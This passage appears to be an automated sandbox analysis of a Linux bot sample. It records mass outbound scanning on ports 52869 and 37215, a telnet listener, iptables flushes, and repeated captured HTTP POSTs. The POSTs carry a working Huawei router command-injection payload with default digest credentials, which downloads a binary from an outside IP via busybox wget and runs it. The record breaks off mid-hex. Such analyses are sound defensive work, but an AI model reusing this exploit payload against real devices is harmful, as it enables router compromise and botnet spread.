Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.170.31.124:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.16.228.2:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.42.112.137:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.185.73.149:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.63.85.157:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.44.240.38:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.206.20.95:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.125.238.67:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.189.135.44:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.87.38.231:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.122.211.139:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.239.100.110:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.91.131.115:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.47.69.135:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.174.130.240:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.93.224.120:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.197.243.17:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.6.221.162:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.253.111.230:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.21.203.212:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.9.194.49:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.74.229.13:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.224.86.132:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.39.211.194:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.158.47.185:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.37.70.46:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.119.66.214:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.101.117.235:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.112.157.199:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.100.65.241:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.239.152.12:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.83.154.163:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.17.175.43:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.208.100.5:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.19.155.0:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.162.230.161:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.8.110.78:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.80.87.122:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.115.2.193:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.24.159.165:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.195.207.237:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.116.242.45:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.73.110.137:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.48.105.199:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.1.59.76:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.237.12.205:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.205.145.75:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.93.22.197:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.104.133.221:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.40.76.201:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.246.102.247:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.206.150.82:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.203.146.253:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.201.227.24:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.121.122.37:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.174.217.37:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.160.99.230:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.24.9.173:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.162.99.153:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.235.16.92:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.38.208.211:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.82.216.116:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.230.82.46:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.168.196.80:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.124.198.104:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.169.34.128:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.143.207.12:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.55.143.122:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.255.66.70:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.136.252.215:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.249.61.142:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.44.235.31:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.125.207.167:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.148.162.64:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.124.200.130:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.215.41.201:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.76.125.54:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.8.49.229:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.70.148.200:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.2.223.36:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.76.210.200:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.217.43.87:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.107.102.170:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.51.115.157:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.255.244.224:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.178.194.236:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.128.197.192:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.9.236.200:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.59.94.209:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.138.13.175:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.160.118.242:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.134.51.182:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.13.35.8:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.57.146.247:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.131.20.240:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.143.182.224:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.239.74.195:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.124.68.176:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.20.123.181:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.239.35.160:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.38.106.189:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.101.185.80:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.138.203.68:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.178.106.164:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.100.254.103:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.121.100.156:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.178.137.191:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.36.2.242:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.206.252.36:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.229.124.157:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 156.168.115.35:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 41.204.62.135:52869
Source: global traffic	TCP traffic: 192.168.2.23:24453 -> 197.203.208.50:52869
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.177.221.130:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 156.81.237.248:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 156.59.188.227:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 156.53.229.214:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.170.135.175:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 197.73.195.199:37215
Source: global traffic	TCP traffic: 192.168.2.23:21125 -> 41.237.11.121:37215
Source: global traffic	TCP traffic: 192.168.2.23:21381 -> 197.67.4.7:52869
Source: global traffic	TCP traffic: 192.168.2.23:21381 -> 156.25.85.55:52869
Source: global traffic	TCP traffic: 192.168.2.23:21381 -> 197.206.23.7:52869
Source: global traffic	TCP traffic: 192.168.2.23:21381 -> 156.51.41.231:52869
Source: global traffic	TCP traffic: 192.168.2.23:21381 -> 156.54.105.193:52869
Source: global traffic	TCP traffic: 192.168.2.23:21381 -> 156.156.28.15:52869
Source: global traffic	TCP traffic: 192.168.2.23:21381 -> 197.4.51.69:52869
Source: global traffic	TCP traffic: 192.168.2.23:21381 -> 197.20.120.93:52869
Source: global traffic	TCP traffic: 192.168.2.23:21381 -> 156.82.21.229:52869
Source: global traffic	TCP traffic: 192.168.2.23:21381 -> 156.158.91.163:52869
Source: global traffic	TCP traffic: 192.168.2.23:21381 -> 41.80.110.15:52869
Source: global traffic	TCP traffic: 192.168.2.23:21381 -> 197.199.247.183:52869
Source: global traffic	TCP traffic: 192.168.2.23:21381 -> 156.214.143.94:52869
Source: global traffic	TCP traffic: 192.168.2.23:21381 -> 197.181.41.123:52869
Source: global traffic	TCP traffic: 192.168.2.23:21381 -> 41.95.249.162:52869
Source: global traffic	TCP traffic: 192.168.2.23:21381 -> 156.171.131.127:52869
Source: global traffic	TCP traffic: 192.168.2.23:21381 -> 156.194.128.136:52869
Source: global traffic	TCP traffic: 192.168.2.23:21381 -> 197.251.203.173:52869
Source: global traffic	TCP traffic: 192.168.2.23:21381 -> 197.227.54.43:52869
Source: global traffic	TCP traffic: 192.168.2.23:21381 -> 41.156.32.208:52869

Sample listens on a socket

Source: /tmp/arm7 (PID: 5249)	Socket: 0.0.0.0::23	Jump to behavior
Source: /usr/sbin/sshd (PID: 5365)	Socket: 0.0.0.0::22	Jump to behavior
Source: /usr/sbin/sshd (PID: 5365)	Socket: [::]::22	Jump to behavior

Executes the "iptables" command used for managing IP filtering and manipulation

Source: /bin/sh (PID: 5310)	Iptables executable: /sbin/iptables -> /sbin/iptables -F			Jump to behavior
Source: /bin/sh (PID: 5311)	Iptables executable: /sbin/iptables -> /sbin/iptables -X			Jump to behavior

HTTP GET or POST without a user agent

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 